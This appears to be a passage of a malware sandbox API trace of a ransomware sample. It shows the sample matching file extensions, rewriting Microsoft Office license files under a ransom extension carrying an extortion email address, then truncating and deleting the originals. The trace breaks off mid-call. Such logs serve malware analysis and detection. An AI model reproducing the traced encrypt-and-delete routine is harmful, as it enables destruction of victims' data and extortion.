lstrlenW (lpString=".ppt") returned 4 [0195.878] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0195.878] lstrlenW (lpString=".zip") returned 4 [0195.878] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.878] lstrlenW (lpString=".rar") returned 4 [0195.878] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.878] lstrlenW (lpString=".bz2") returned 4 [0195.878] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.878] lstrlenW (lpString=".7z") returned 3 [0195.878] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0195.878] lstrlenW (lpString=".dbf") returned 4 [0195.878] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0195.878] lstrlenW (lpString=".1cd") returned 4 [0195.878] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0195.878] lstrlenW (lpString=".jpg") returned 4 [0195.878] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0195.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0195.879] lstrlenW (lpString=".doc") returned 4 [0195.879] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.879] lstrlenW (lpString=".docx") returned 5 [0195.879] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.879] lstrlenW (lpString=".pdf") returned 4 [0195.879] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.879] lstrlenW (lpString=".xls") returned 4 [0195.879] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.879] lstrlenW (lpString=".xlsx") returned 5 [0195.879] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.879] lstrlenW (lpString=".ppt") returned 4 [0195.879] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0195.879] lstrlenW (lpString=".zip") returned 4 [0195.879] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.879] lstrlenW (lpString=".rar") returned 4 [0195.879] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.879] lstrlenW (lpString=".bz2") returned 4 [0195.879] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.879] lstrlenW (lpString=".7z") returned 3 [0195.879] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0195.879] lstrlenW (lpString=".dbf") returned 4 [0195.879] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0195.879] lstrlenW (lpString=".1cd") returned 4 [0195.879] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0195.880] lstrlenW (lpString=".jpg") returned 4 [0195.880] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.880] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0195.880] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 34 [0195.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0195.880] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=22094) returned 1 [0195.881] CloseHandle (hObject=0x38c) returned 1 [0195.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 0x220 [0195.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0195.881] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.881] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0195.882] GetLastError () returned 0x0 [0195.882] ReadFile (in: hFile=0x38c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x564e, lpOverlapped=0x0) returned 1 [0195.888] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5650, lpOverlapped=0x0) returned 1 [0195.889] ReadFile (in: hFile=0x38c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0195.889] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x118, lpOverlapped=0x0) returned 1 [0195.889] SetEndOfFile (hFile=0x520) returned 1 [0195.890] CloseHandle (hObject=0x520) returned 1 [0195.890] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.890] SetEndOfFile (hFile=0x38c) returned 1 [0195.893] CloseHandle (hObject=0x38c) returned 1 [0195.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 1 [0195.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0195.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0195.895] lstrlenW (lpString=".doc") returned 4 [0195.895] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.895] lstrlenW (lpString=".docx") returned 5 [0195.895] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.895] lstrlenW (lpString=".pdf") returned 4 [0195.895] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.895] lstrlenW (lpString=".xls") returned 4 [0195.895] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.895] lstrlenW (lpString=".xlsx") returned 5 [0195.895] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.895] lstrlenW (lpString=".ppt") returned 4 [0195.895] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0195.895] lstrlenW (lpString=".zip") returned 4 [0195.895] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.895] lstrlenW (lpString=".rar") returned 4 [0195.895] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.895] lstrlenW (lpString=".bz2") returned 4 [0195.895] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.895] lstrlenW (lpString=".7z") returned 3 [0195.895] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0195.895] lstrlenW (lpString=".dbf") returned 4 [0195.895] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0195.896] lstrlenW (lpString=".1cd") returned 4 [0195.896] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0195.896] lstrlenW (lpString=".jpg") returned 4 [0195.896] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0195.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0195.896] lstrlenW (lpString=".doc") returned 4 [0195.896] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.896] lstrlenW (lpString=".docx") returned 5 [0195.896] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.896] lstrlenW (lpString=".pdf") returned 4 [0195.896] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.896] lstrlenW (lpString=".xls") returned 4 [0195.896] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.896] lstrlenW (lpString=".xlsx") returned 5 [0195.896] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.896] lstrlenW (lpString=".ppt") returned 4 [0195.896] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0195.896] lstrlenW (lpString=".zip") returned 4 [0195.896] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.896] lstrlenW (lpString=".rar") returned 4 [0195.896] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.896] lstrlenW (lpString=".bz2") returned 4 [0195.896] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.896] lstrlenW (lpString=".7z") returned 3 [0195.896] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0195.897] lstrlenW (lpString=".dbf") returned 4 [0195.897] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0195.897] lstrlenW (lpString=".1cd") returned 4 [0195.897] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0195.897] lstrlenW (lpString=".jpg") returned 4 [0195.897] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.897] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0195.897] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 37 [0195.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0195.898] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11621) returned 1 [0195.898] CloseHandle (hObject=0x38c) returned 1 [0195.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 0x220 [0195.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0195.899] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.899] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0195.899] GetLastError () returned 0x0 [0195.899] ReadFile (in: hFile=0x38c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d65, lpOverlapped=0x0) returned 1 [0195.901] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0195.903] ReadFile (in: hFile=0x38c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0195.903] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x11e, lpOverlapped=0x0) returned 1 [0195.903] SetEndOfFile (hFile=0x520) returned 1 [0195.903] CloseHandle (hObject=0x520) returned 1 [0195.903] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.903] SetEndOfFile (hFile=0x38c) returned 1 [0195.906] CloseHandle (hObject=0x38c) returned 1 [0195.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 1 [0195.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0195.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0195.907] lstrlenW (lpString=".doc") returned 4 [0195.907] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.907] lstrlenW (lpString=".docx") returned 5 [0195.907] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.907] lstrlenW (lpString=".pdf") returned 4 [0195.907] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.908] lstrlenW (lpString=".xls") returned 4 [0195.908] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.908] lstrlenW (lpString=".xlsx") returned 5 [0195.908] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.908] lstrlenW (lpString=".ppt") returned 4 [0195.908] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0195.908] lstrlenW (lpString=".zip") returned 4 [0195.908] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.908] lstrlenW (lpString=".rar") returned 4 [0195.908] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.908] lstrlenW (lpString=".bz2") returned 4 [0195.908] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.908] lstrlenW (lpString=".7z") returned 3 [0195.908] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0195.908] lstrlenW (lpString=".dbf") returned 4 [0195.908] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0195.908] lstrlenW (lpString=".1cd") returned 4 [0195.908] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0195.908] lstrlenW (lpString=".jpg") returned 4 [0195.908] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0195.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0195.908] lstrlenW (lpString=".doc") returned 4 [0195.908] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.908] lstrlenW (lpString=".docx") returned 5 [0195.908] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.909] lstrlenW (lpString=".pdf") returned 4 [0195.909] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.909] lstrlenW (lpString=".xls") returned 4 [0195.909] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.909] lstrlenW (lpString=".xlsx") returned 5 [0195.909] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.909] lstrlenW (lpString=".ppt") returned 4 [0195.909] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0195.909] lstrlenW (lpString=".zip") returned 4 [0195.909] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.909] lstrlenW (lpString=".rar") returned 4 [0195.909] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.909] lstrlenW (lpString=".bz2") returned 4 [0195.909] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.909] lstrlenW (lpString=".7z") returned 3 [0195.909] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0195.909] lstrlenW (lpString=".dbf") returned 4 [0195.909] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0195.909] lstrlenW (lpString=".1cd") returned 4 [0195.909] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0195.909] lstrlenW (lpString=".jpg") returned 4 [0195.909] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.909] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0195.910] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 37 [0195.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0195.910] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=19966) returned 1 [0195.910] CloseHandle (hObject=0x38c) returned 1 [0195.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 0x220 [0195.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0195.911] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.911] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0195.912] GetLastError () returned 0x0 [0195.912] ReadFile (in: hFile=0x38c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0196.108] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x4e00, lpOverlapped=0x0) returned 1 [0196.110] ReadFile (in: hFile=0x38c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0196.110] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x11e, lpOverlapped=0x0) returned 1 [0196.110] SetEndOfFile (hFile=0x520) returned 1 [0196.110] CloseHandle (hObject=0x520) returned 1 [0196.111] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.111] SetEndOfFile (hFile=0x38c) returned 1 [0196.114] CloseHandle (hObject=0x38c) returned 1 [0196.114] SetFileAttributesW 